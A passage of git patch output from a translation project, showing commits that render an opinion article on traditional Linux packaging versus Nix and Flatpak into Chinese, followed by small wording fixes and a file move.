that differ from one distribution to another. +传统的打包方式产生了一些问题,比如依赖性和包的冲突,这些问题通常需要解决,而不同的发行版有不同的解决办法。 -#### Dependency and Package Conflicts +#### 依赖性和软件包的冲突 -If we attempt to install [Visual Studio Code][9] ([visual-studio-code-bin][10]) while [Code - OSS][11] ([code][12]) is installed on Arch Linux, we will run into this issue: +如果我们试图安装 [Visual Studio Code][9]([visual-studio-code-bin][10]),而 [Code - OSS][11]([code][12]) 已经安装在 Arch Linux 上,我们会遇到这个问题: ``` $ paru -S visual-studio-code-bin [...] - :: Conflicts found: visual-studio-code-bin: code - :: Conflicting packages will have to be confirmed manually - Aur (1) Old Version New Version Make Only aur/visual-studio-code-bin 1.70.1-1 No ``` -This is called a package conflict, whereby two or more packages cannot coexist. In this case we cannot install Visual Studio Code alongside Code - OSS. +这就是所谓的软件包冲突,即两个或多个软件包不能共存。在这种情况下,我们不能同时安装 Visual Studio Code 和 Code - OSS。 -When two applications or packages provide the same file(s), with the same names and are placed in the same directory, then they literally cannot coexist, because these files will then collide. In this example, both Visual Studio Code and Code - OSS provide a `code` file, which are both placed in `/usr/bin`. The `code` file that Visual Studio Code provides is used to launch Visual Studio Code, whereas the `code` file from Code - OSS is used to launch Code - OSS. +当两个应用程序或软件包提供相同的文件,具有相同的名称,并被放置在同一目录下,那么它们实际上是不能共存的,因为这些文件会发生冲突。在这个例子中,Visual Studio Code 和 Code - OSS 都提供了一个`code'文件,它们都被放在`/usr/bin`中。Visual Studio Code 提供的`code`文件用于启动 Visual Studio Code,而 Code - OSS 的`code`文件则用于启动 Code - OSS。 +虽然这个例子只展示了 Visual Studio Code 和 Code - OSS,但这种情况经常发生在不同的应用程序、库和其他软件中。 -While this example only showcases Visual Studio Code and Code - OSS, this often happens with different sets of applications, libraries and others. - -#### Unable to Cherry Pick Dependencies +#### 无法选择依赖项 ![][13] +图片来源:来自 [Unsplash][14] 的 [Priscilla Du Preez][15] +传统安装包格式的最大问题之一是,打包者不能选择依赖项。 -Image by: [Priscilla Du Preez][14] on [Unsplash][15] +例如,如果一个应用程序最近更新,需要依赖版本1的程序A,但该格式安装包的打包程序只提供版本0.9的程序A,那么对于升级该应用程序来说就不太理想,因为打包程序无法满足要求。这意味着打包者将不得不暂缓打包,直到打包程序发布新的依赖项,或者采用变通的方法。 -One of the biggest issues with traditional packaging is that packagers cannot cherry-pick dependencies. +同样,如果一个应用程序需要依赖0.8.1版本的程序A,但该格式安装包的打包程序却只提供了0.9版本的程序A,那么这个应用程序就会表现失常,甚至完全不能运行。 -For example, if an application recently updated and requires dependency A version 1, but the distribution only ships dependency A version 0.9, then it would not be ideal for upgrading the application, as the distribution will not meet the requirements. This means the packager will have to hold back the package until the new dependency is released for the distribution, or resort to workarounds. +##### 带补丁的库和编译配置 -Likewise, if an application requires dependency A version 0.8.1, but the distribution ships dependency A version 0.9, then the application can misbehave or even not work altogether. +为了扩展,一些应用程序需要带补丁的库或额外的编译配置才能正常运行。例如,OBS Studio 需要一个[打了补丁的 FFmpeg][16] 来与 OBS Studio 更好地整合。 -##### Patched Libraries and Build Configurations +在传统的打包方式下,一次只能安装一个依赖项的变体。如果发行版提供的是未打过补丁的 FFmpeg,那么就没有办法安装打过补丁的 FFmpeg,除非打包者能解决这个问题。如果安装了打过补丁的 FFmpeg,但另一个程序高度依赖未打过补丁的 FFmpeg、打过其他补丁的 FFmpeg、内置或删除了其他功能的 FFmpeg,那么其他程序就会出现bug。 -To expand, several applications require patched libraries or additional build options to function correctly. For example, OBS Studio requires a [patched FFmpeg][16] to integrate neatly with OBS Studio. +现代应用程序本质上是脆弱的。依赖关系树中的一个小错误或不一致,就会导致应用程序的bug,使用户体验恶化,甚至会让人觉得是应用程序的问题,而不是软件包本身的问题,这就会妨碍应用程序的声誉。 -With traditional packaging, there can only be one variant of the dependency installed at a time. If the distribution ships an unpatched FFmpeg, then there’s no way to install a patched FFmpeg unless the packager works around that. If the patched FFmpeg is installed, but another program relies specifically on an unpatched FFmpeg, an FFmpeg with other patches, or an FFmpeg with additional features built-in or removed, then that other program can misbehave. +#### 变通方法 -Modern applications are inherently fragile. One small mistake or inconsistency within the dependency tree can cause an application to misbehave and worsen the user experience, and may even give the impression that the application is at fault and not the package itself, which can hinder the application’s reputation. +让我们看看目前开发者用来打包应用程序的变通方法。 -#### Workarounds +1. 第一种解决方法是在不同的目录中安装依赖库。例如,Electron 是一个巨大的框架,开发者用它来构建应用程序,然后将它们捆绑起来。然而,基于 Electron 的应用程序是不同的,因为它们是建立在不同版本的 Electron 之上的。Discord 捆绑了 Electron 13,而 Element 捆绑了 Electron 19。对于 Arch Linux 上的 Electron 打包,某些目录需要安装在`/opt/APPLICATION_NAME`中,所以这些 Electron 版本[不会相互冲突][17]。 +2. 第二种解决方法是篡改应用程序。例如,给应用程序打上补丁,使其在没有某些依赖库或功能的情况下编译,这可以使应用程序成功编译,但不能保证该应用程序能够启动或按预期工作。 +4. 第三种解决方法是在编译应用程序时禁用许多编译选项,这也可能禁用一些功能。例如,在 Arch Linux 上,OBS Studio 在编译时禁用了许多基本功能,这[导致了不合格的体验][18]。 -Let’s look at current workarounds that packagers use to package applications. +这些解决方法因人而异,有些会限制应用程序的功能,有些会引入稳定性问题等等。 -1. The first workaround is to install dependencies in different directories. Electron, for example, is a massive framework that developers use to build applications on top of, and later bundle them. However, Electron based applications vary, as they are built on top of different versions of Electron. Discord bundles and ships Electron 13, whereas Element bundles and ships Electron 19. For Electron packaging on Arch Linux, certain directories require to be installed in `/opt/APPLICATION_NAME`, so these Electron versions [don’t conflict with each other][17]. -2. The second workaround is to tamper with the application. For example, patching an application to build without certain dependencies or features can make the application build for the distribution, but there’s no guarantee that the application will either launch or work as intended. -3. The third workaround is to build the application with many build options disabled, which may also disable functionality. For example, on Arch Linux, OBS Studio is built with many essential features disabled, which [results in a subpar experience][18]. +#### 不一致的体验 -These workarounds vary on a case-by-case basis, some of which can limit the functionality of the application, some can introduce stability issues, etc. +![西班牙兰萨罗特岛(加那利群岛)的蒂曼法亚火山国家公园的火山口景观][19] -#### Inconsistent Experience +图片来源:来自 [Unsplash][20] 的 [alevision.co][21] -![A view of a crater in the volcanic national park, Timanfaya, in Lanzarote (Canary Islands) in Spain.][19] +虽然这些技术限制在整个传统安装包格式中是一致的,但用户体验往往不是这样。由于安装包的发布方式,发行模式与传统安装包格式相结合会影响用户体验。 +一些发行版,如 Arch Linux,接近于开发版,因此有最新版本的软件包。然而 Debian 和 Ubuntu LTS 是 LTS 长期支持版,所以它们的很多软件包都落后几个版本。同时,Fedora Linux 和 Ubuntu 稳定版处于 Debian / Ubuntu LTS 和 Arch Linux 之间。 -Image by: [alevision.co][20] on [Unsplash][21] +一些安装包格式喜欢尽可能少地给软件包打补丁,以保持它们最接近原版;而另一些格式打补丁是为了增加更多的功能,使用旧库或进行其他类型的更改,以改善用户体验。一些格式喜欢使软件更加轻量化;而另一些格式更喜欢尽可能地添加更多内置功能。这个名单还在继续。 -While these technical limitations are consistent throughout traditional packaging, the user experience is often not. Distribution models paired with traditional packaging impact the user experience because of how packages are shipped. +正如我们所看到的,一个应用程序在不同的发行版中的构建方式非常不同。此外,不同的发行版的依赖关系也是不同的。传统包装的许多技术限制需要根据发行模式和包装政策采取不同的解决方法。这些微小的变化往往给用户带来不完整的、不合格的体验和错误的印象。一些应用程序可能在某些发行版上运行得更好,但在其他发行版上运行得很差,而其他一些应用程序在其他发行版上运行得更好。即使一个应用程序在每个发行版上的构建方式不同,但其名称和品牌却保持原样,给用户留下错误的印象。 -Some distributions, like Arch Linux, are close to bleeding-edge and thus have the latest versions of packages. However, Debian and Ubuntu LTS are LTS distributions, so a lot of their packages are several versions behind. Meanwhile, Fedora Linux and Ubuntu Stable are between Debian/Ubuntu LTS and Arch Linux. - -Some distributions prefer to patch packages as least as possible to keep them closest to vanilla, whereas some others patch to add more functionality, work with older libraries, or other sorts of changes to improve user experience. Some distributions prefer to build with minimal build options enabled, whereas others may prefer to add more built-in features if possible. The list goes on. - -As we can see, a single application is built very differently across distributions. Furthermore, dependencies are also built differently from distribution to distribution. Many technical limitations with traditional packaging require different workarounds depending on the distribution model and packaging policies. These minor changes often give incomplete, subpar experiences and wrong impressions to the user. Some applications may work better with some distributions but work badly with others, whereas some other applications may work better with other sets of distributions. Even though a single application is built differently on each distribution, the name and branding is kept as-is, giving users the wrong impression. - -### The Solution +### 解决方案 ![][22] -[Riccardo Annandale][23] +图片来源:来自 [Unsplash][23] 的 [Riccardo Annandale][24] -[Unsplash][24] +如上所述,解决这些问题的方法是使用容器。 -As mentioned earlier, the solution to these problems is using containers. +容器被设计用来分离系统的几个方面。通过使用容器,打包者可以挑选依赖项而不受主机库的限制。因此,打包者可以发布最新的、功能完整的软件包,同时保持发行的稳定性。 -Containers are designed to separate several aspects of the system. With the use of containers, packagers can cherry pick dependencies without being limited by host libraries. Packagers can thus ship the latest, feature complete builds of packages, while retaining the stability of the distribution. +这一点非常重要,因为这些容器格式可以将应用程序和发行版发挥出最大的作用,而不会对系统造成破坏性的影响。 -This is really important, as these container formats can push applications and distributions to their boundaries, without affecting the system destructively. +#### Nix和Flatpak -#### Nix and Flatpak +[Nix][25] 是一个跨平台的包管理器,可以在类Unix操作系统中运行,如Linux发行版、BSD和macOS。Nix有几个[途径][26](分支)供用户使用。 -[Nix][25] is a cross-platform package manager to work in Unix-like operating systems like Linux distributions, BSDs and macOS. Nix has several [channels][26] (branches) that users can use. +另一方面,[Flatpak][27] 是一个用于Linux桌面的通用软件包格式,它也利用容器,但另外还有沙盒来隔离它们。它旨在共未来的普通人使用,并被设计为与软件商店(如GNOME Software 和 KDE Discover)集成。换句话说,Flatpak 更像是安装包格式的一个扩展,而不是一个替代品,因为它的设计初衷不是为了取代系统包管理器。 -[Flatpak][27], on the other hand, is a universal package format for the Linux desktop that also leverages containers but additionally sandboxes to isolate them. It is intended to be used by the average person in the future and is designed to be integrated with software stores, such as GNOME Software and KDE Discover. In other words, Flatpak is more of an extension for distributions, rather than a replacement, as it is literally designed not to replace system package managers. +如果使用 NixOS 等发行版,Nix 也可以作为一种扩展或单独使用。 -Nix can also be used as an extension or exclusively if using distributions like NixOS. +#### 类似的应用 -#### Similar Applications +Nix和Flatpak解决了传统安装包格式的许多基本问题。由于应用程序的分离,这些格式可以安装类似的应用程序,如 Visual Studio Code 和 Code - OSS,而不会冲突。 -Nix and Flatpak address many fundamental problems with traditional packaging. Thanks to the separation of applications, these formats can have similar applications installed, like Visual Studio Code and Code - OSS, without running into conflicts. +#### 多个版本 -#### Multiple Branches +Nix 和 Flatpak 可以安装同一个应用程序的多个版本。使用 Nix,我可以从`nixpkgs-stable`(LTS)安装应用程序,同时也可以从`nixpkgs-unstable`(开发版)安装同一个应用程序。 -Nix and Flatpak can install multiple versions of the same application. With Nix, I can install applications from the `nixpkgs-stable` (LTS) channel while also having the same application installed from the `nixpkgs-unstable` (bleeding-edge) channel. +同样地,使用 Flatpak,我可以同时从`stable`和`beta`分支安装应用程序。我可以从更多的途径和分支继续安装同一个应用程序,而不会遇到冲突。 -Likewise, with Flatpak, I can install applications from the `stable` and `beta` branch simultaneously. I can continue installing the same application from many more channels and branches, without them ever running into packaging conflicts. +#### 挑剔的依赖项 -#### Cherry Pick Dependencies +![采摘樱桃][28] -![cherry-picking][28] +图片来源:来自 [Unsplash][29] 的 [Ish de loyola][30] -Image by: [Ish de loyola][29] on [Unsplash][30] +此外,打包者可以将应用程序与不同变体的库捆绑在一起,从而有机会启用更多的构建选项,并使用打过补丁或特定版本的库,从而为用户提供完整的体验。 -Additionally, packagers can bundle applications with different variants of libraries, giving the opportunity to enable more build options and use patched or specific versions of libraries, and thus providing a complete experience to the user. +这意味着打包者可以将打了补丁的 FFmpeg 与 OBS Studio 捆绑在一起,只为使用 OBS Studio。如果我在主机上安装了 vanilla FFmpeg,那么 OBS Studio 的补丁 FFmpeg 就不会与主机的 FFmpeg 发生干扰或冲突。 -This means packagers can bundle patched FFmpeg with OBS Studio solely for the use of OBS Studio. If I have a vanilla FFmpeg installed on the host, then the patched FFmpeg for OBS Studio won’t interfere or conflict with the host FFmpeg. +#### 各个发行版的环境都是一致的 -#### Consistent Environments Across Distributions +如上所述,各发行版使用不同的补丁、构建选项和环境构建应用程序。这导致了应用程序的碎片化,每个应用程序的构建方式和工作方式往往不尽相同。由于 Nix 和 Flatpak 是为跨发行版运行而设计的,它们在每个发行版中为应用程序提供一致的环境,前提是发行版提供了 Nix 或 Flatpak 的支持版本。 -As mentioned earlier, distributions build applications using different patches, build options and environments. This leads to a fragmentation of applications where every application is built and often works differently. Since Nix and Flatpak are designed to run across distributions, they provide consistent environments in each and every distribution for applications, assuming distributions ship supported versions of Nix or Flatpak. +#### 缺点 -#### Disadvantages +就像所有事物一样,Nix 和 Flatpak 不是完美的。由于容器最近被推送到了 Linux 桌面上,它们可能为许多应用程序提供不寻常的环境。 -Just like everything, Nix and Flatpak are imperfect. Since containers are recently getting pushed on the Linux desktop, they may provide unusual environments to many applications. +Flatpak 不仅包含了应用程序,还对它们进行沙盒处理。Flatpak 的开发者已经实施了一个短期的变通方案,“在沙盒上打洞”,即所谓的静态权限。他们正在开发适当的长期解决方案,称为[XDG 门户][31],以解决有关沙盒的许多问题,并使其像 Android 的安全模型一样。 -Flatpak not only contains applications, it also sandboxes them. Flatpak developers have implemented a short-term workaround that punches holes in the sandbox, known as static permissions. They are developing proper long-term solutions called [XDG portals][31], to address many issues regarding sandboxing and make them act like Android’s security model. +唯一的短期问题是,工具包、框架和应用程序必须采用这些标准。GTK 和 Qt 是一些集成了其中一些门户的工具包,但它们也需要时间来集成其他的门户。同时,许多其他的工具箱还没有真正集成任何门户。 +工具包、框架和应用程序采用这些新标准是一个时间问题,因为在 XDG 门户之前没有任何适当的标准。应用程序可以直接访问文件系统和 API,所以静态权限保持这种 "标准"。 -The only short-term issue is that toolkits, frameworks and applications have to adopt these standards. GTK and Qt are some toolkits that integrate some of these portals, but they also need time to integrate others. Meanwhile, many others haven’t really integrated any of the portals. +### 结论 -It’s a matter of time before toolkits, frameworks and applications adopt these new standards, as there weren’t any proper standards prior to XDG portals. Applications had direct access to the filesystem and APIs, so static permissions keep this “standard”. +传统包装的根本问题是它没有利用容器。许多图形化的应用程序本质上是复杂的,需要非常具体的依赖关系才能按预期运行。许多发行版通过使用变通的方法在不同的环境中构建同一个应用程序,例如给应用程序打补丁或禁用构建选项。这导致了一个应用程序的不同变体、不一致的行为和不合格的用户体验。 -### Conclusion +当然,发行版的维护者不可能在10天内现实地重写他们的包管理器并使用容器。这些重写会破坏许多脚本、功能等,而且还需要很长时间才能投入生产。 -The fundamental issue with traditional packaging is that it does not leverage containers. Many graphical applications are inherently complicated and require very specific dependencies to run as intended. Many distributions build the same application in different environments by making use of workarounds, such as patching the application or disabling build options. This leads to different variants of one application and suffers from inconsistent behavior and user experience. +我个人的建议是使用和推广 Flatpak,因为它只是为了扩展现有的发行版,而不是取代它。包装商将不必担心包装应用程序和诉诸变通的问题,因为 Flatpak 已经在处理这些问题了。 -Of course, distribution maintainers can’t realistically rewrite their package managers and make use of containers in 10 days. These rewrites will break many scripts, features, and more and will also take a long time to be production-ready. +作者:Hari Rana 并[最初发表于本博客][32]。 -My personal recommendation would be to use and promote Flatpak, as it is solely intended to extend an existing distribution rather than replace it. Packagers won’t have to worry about packaging applications and resorting to workarounds, as Flatpak will already be taking care of that. +Hari 是 Fedora 杂志的 Fedora 编辑委员会的成员。他也是 Fedoea 质量保证(QA)的一员。Hari 希望通过推广各种技术和帮助需要帮助的人,为 Linux 桌面的采用作出贡献。 -Written by Hari Rana and [originally published at this blog][32]. - -Hari is part of Fedora Editorial Board at Fedora Magazine. He is also a part of Fedoea quality assurance (QA). Hari wants to contribute to the adoption of the Linux desktop by promoting various technologies and helping people in need of assistance. - -**The views and opinions expressed in this article are those of the authors and do not necessarily represent opinions It's FOSS.** +**本文所表达的观点和意见是作者的观点,不一定代表 It's FOSS 的意见。** -------------------------------------------------------------------------------- - via: https://news.itsfoss.com/traditional-packaging-modern-applications/ - 作者:[Community][a] 选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) +译者:[gpchn](https://github.com/gpchn) 校对:[校对者ID](https://github.com/校对者ID) - 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - [a]: https://news.itsfoss.com/author/team/ [b]: https://github.com/lkxed [1]: https://images.unsplash.com/photo-1573376670774-4427757f7963?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDY2fHxwYWNrYWdpbmd8ZW58MHx8fHwxNjYyNzgzMzY1&ixlib=rb-1.2.1&q=80&w=1200 -[2]: https://unsplash.com/es/@kelli_mcclintock?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit -[3]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[2]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[3]: https://unsplash.com/es/@kelli_mcclintock?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit [4]: https://code.visualstudio.com/ [5]: https://github.com/microsoft/vscode [6]: https://images.unsplash.com/photo-1612933510543-5b442296703b?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDEwfHxwcm9ibGVtfGVufDB8fHx8MTY2Mjc4MzEwNg&ixlib=rb-1.2.1&q=80&w=2000 -[7]: https://unsplash.com/@simmerdownjpg?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit -[8]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[7]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[8]: https://unsplash.com/@simmerdownjpg?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit [9]: https://code.visualstudio.com/ [10]: https://aur.archlinux.org/packages/visual-studio-code-bin [11]: https://github.com/microsoft/vscode [12]: https://archlinux.org/packages/community/x86_64/code/ [13]: https://images.unsplash.com/photo-1601001816339-74036796370c?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDl8fGNoZXJyeSUyMHBpY2t8ZW58MHx8fHwxNjYyNzgzNDA4&ixlib=rb-1.2.1&q=80&w=2000 -[14]: https://unsplash.com/@priscilladupreez?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit [15]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[14]: https://unsplash.com/@priscilladupreez?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit [16]: https://github.com/obsproject/obs-studio/blob/fe889ec28ebd2f323b5933b7b11c5a9207539c59/CI/flatpak/com.obsproject.Studio.json#L259-L261 [17]: https://wiki.archlinux.org/index.php?title=Electron_package_guidelines&oldid=661963#Directory_structure [18]: https://www.youtube.com/watch?v=FPjEdrik-eQ [19]: https://images.unsplash.com/photo-1595399822864-94ec54889cc7?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDl8fGJ1bXB5JTIwcm9hZHxlbnwwfHx8fDE2NjI3ODQ3MTI&ixlib=rb-1.2.1&q=80&w=2000 -[20]: https://unsplash.com/@alevisionco?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit -[21]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[20]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[21]: https://unsplash.com/@alevisionco?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit [22]: https://images.unsplash.com/photo-1474631245212-32dc3c8310c6?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDR8fHNvbHV0aW9ufGVufDB8fHx8MTY2Mjc4MzI5NA&ixlib=rb-1.2.1&q=80&w=2000 -[23]: https://unsplash.com/@pavement_special?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit -[24]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[23]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[24]: https://unsplash.com/@pavement_special?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit [25]: https://github.com/NixOS/Nix [26]: https://nixos.wiki/wiki/Nix_channels [27]: https://flatpak.org/ [28]: https://images.unsplash.com/photo-1626829622490-43c7d7c80ac8?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDF8fGNoZXJyeSUyMHBpY2t8ZW58MHx8fHwxNjYyNzgzNDA4&ixlib=rb-1.2.1&q=80&w=2000 -[29]: https://unsplash.com/@ishphotos_?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit -[30]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[29]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[30]: https://unsplash.com/@ishphotos_?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit [31]: https://github.com/flatpak/xdg-desktop-portal [32]: https://theevilskeleton.gitlab.io/2022/08/29/traditional-packaging-is-not-suitable-for-modern-applications.html From 9788b3cecb40519cf2892aa7e9db9450c60bfe01 Mon Sep 17 00:00:00 2001 From: gpchn <99541536+gpchn@users.noreply.github.com> Date: Mon, 12 Sep 2022 02:04:00 +0800 Subject: [PATCH 12/18] Update 20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md --- ...aging is not Suitable for Modern Applications [Opinion].md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md b/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md index a5b082297c..565f7eb572 100644 --- a/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md +++ b/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md @@ -167,12 +167,16 @@ Hari 是 Fedora 杂志的 Fedora 编辑委员会的成员。他也是 Fedoea 质 **本文所表达的观点和意见是作者的观点,不一定代表 It's FOSS 的意见。** -------------------------------------------------------------------------------- + via: https://news.itsfoss.com/traditional-packaging-modern-applications/ + 作者:[Community][a] 选题:[lkxed][b] 译者:[gpchn](https://github.com/gpchn) 校对:[校对者ID](https://github.com/校对者ID) + 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + [a]: https://news.itsfoss.com/author/team/ [b]: https://github.com/lkxed [1]: https://images.unsplash.com/photo-1573376670774-4427757f7963?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDY2fHxwYWNrYWdpbmd8ZW58MHx8fHwxNjYyNzgzMzY1&ixlib=rb-1.2.1&q=80&w=1200 From d6a0dd68108b9e6cb4d9d42cc6e1f07c7ddd4e38 Mon Sep 17 00:00:00 2001 From: gpchn <99541536+gpchn@users.noreply.github.com> Date: Mon, 12 Sep 2022 02:05:39 +0800 Subject: [PATCH 13/18] Update 20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md --- ...ckaging is not Suitable for Modern Applications [Opinion].md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md b/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md index 565f7eb572..a08988cb55 100644 --- a/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md +++ b/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md @@ -164,7 +164,7 @@ Flatpak 不仅包含了应用程序,还对它们进行沙盒处理。Flatpak Hari 是 Fedora 杂志的 Fedora 编辑委员会的成员。他也是 Fedoea 质量保证(QA)的一员。Hari 希望通过推广各种技术和帮助需要帮助的人,为 Linux 桌面的采用作出贡献。 -**本文所表达的观点和意见是作者的观点,不一定代表 It's FOSS 的意见。** +**本文所表达的观点和意见是作者本人的观点,不一定代表 It's FOSS 的观点。** -------------------------------------------------------------------------------- From ec36c1893f3eda4190fd3c93b9f0874d3a3919bc Mon Sep 17 00:00:00 2001 From: gpchn <99541536+gpchn@users.noreply.github.com> Date: Mon, 12 Sep 2022 02:07:44 +0800 Subject: [PATCH 14/18] =?UTF-8?q?[=E6=8F=90=E4=BA=A4=E8=AF=91=E6=96=87]=20?= =?UTF-8?q?Traditional=20Linux=20Packaging=20is=20not=20Suitable=20for=20M?= =?UTF-8?q?odern=20Applications?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ckaging is not Suitable for Modern Applications [Opinion].md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename sources/{talk => translated}/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md (99%) diff --git a/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md b/sources/translated/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md similarity index 99% rename from sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md rename to sources/translated/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md index a08988cb55..e5eae20e9f 100644 --- a/sources/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md +++ b/sources/translated/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md @@ -164,7 +164,7 @@ Flatpak 不仅包含了应用程序,还对它们进行沙盒处理。Flatpak Hari 是 Fedora 杂志的 Fedora 编辑委员会的成员。他也是 Fedoea 质量保证(QA)的一员。Hari 希望通过推广各种技术和帮助需要帮助的人,为 Linux 桌面的采用作出贡献。 -**本文所表达的观点和意见是作者本人的观点,不一定代表 It's FOSS 的观点。** +**本文所表达的观点和意见是作者本人的,不一定代表 It's FOSS。** -------------------------------------------------------------------------------- From 9b9b47ef8f83b45b64311a9d01cb8e0d644e2264 Mon Sep 17 00:00:00 2001 From: gpchn <99541536+gpchn@users.noreply.github.com> Date: Mon, 12 Sep 2022 02:12:16 +0800 Subject: [PATCH 15/18] =?UTF-8?q?[=E6=8F=90=E4=BA=A4=E8=AF=91=E6=96=87]=20?= =?UTF-8?q?Traditional=20Linux=20Packaging=20is=20not=20Suitable=20for=20M?= =?UTF-8?q?odern=20Applications?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...Packaging is not Suitable for Modern Applications [Opinion].md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {sources/translated => translated/talk}/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md (100%) diff --git a/sources/translated/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md b/translated/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md similarity index 100% rename from sources/translated/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md rename to translated/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md From 0506c9bf7c603a9dad57c827c9beb384a065ae4b Mon Sep 17 00:00:00 2001 From: gpchn <99541536+gpchn@users.noreply.github.com> Date: Mon, 12 Sep 2022 02:41:42 +0800 Subject: [PATCH 16/18] Update 20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md --- ...ckaging is not Suitable for Modern Applications [Opinion].md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/translated/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md b/translated/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md index e5eae20e9f..4e57b7e4d3 100644 --- a/translated/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md +++ b/translated/talk/20220910 Traditional Linux Packaging is not Suitable for Modern Applications [Opinion].md @@ -61,7 +61,9 @@ aur/visual-studio-code-bin 1.70.1-1 No #### 无法选择依赖项 ![][13] + 图片来源:来自 [Unsplash][14] 的 [Priscilla Du Preez][15] + 传统安装包格式的最大问题之一是,打包者不能选择依赖项。 例如,如果一个应用程序最近更新,需要依赖版本1的程序A,但该格式安装包的打包程序只提供版本0.9的程序A,那么对于升级该应用程序来说就不太理想,因为打包程序无法满足要求。这意味着打包者将不得不暂缓打包,直到打包程序发布新的依赖项,或者采用变通的方法。 From 5f4e72794db6ef74addf6797293ac4fed09439ae Mon Sep 17 00:00:00 2001 From: Songling Gu <63730344+Return7g@users.noreply.github.com> Date: Mon, 12 Sep 2022 12:31:25 +0800 Subject: [PATCH 17/18] =?UTF-8?q?[=E7=94=B3=E9=A2=86=E5=8E=9F=E6=96=87][te?= =?UTF-8?q?ch]:=2020220630=20Package=20a=20new=20Python=20module=20in=204?= =?UTF-8?q?=20steps.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/tech/20220630 Package a new Python module in 4 steps.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sources/tech/20220630 Package a new Python module in 4 steps.md b/sources/tech/20220630 Package a new Python module in 4 steps.md index 99e23c6d7a..8bdd040fc8 100644 --- a/sources/tech/20220630 Package a new Python module in 4 steps.md +++ b/sources/tech/20220630 Package a new Python module in 4 steps.md @@ -2,7 +2,7 @@ [#]: via: "https://opensource.com/article/22/6/package-python-module-rpm" [#]: author: "Sumantro Mukherjee 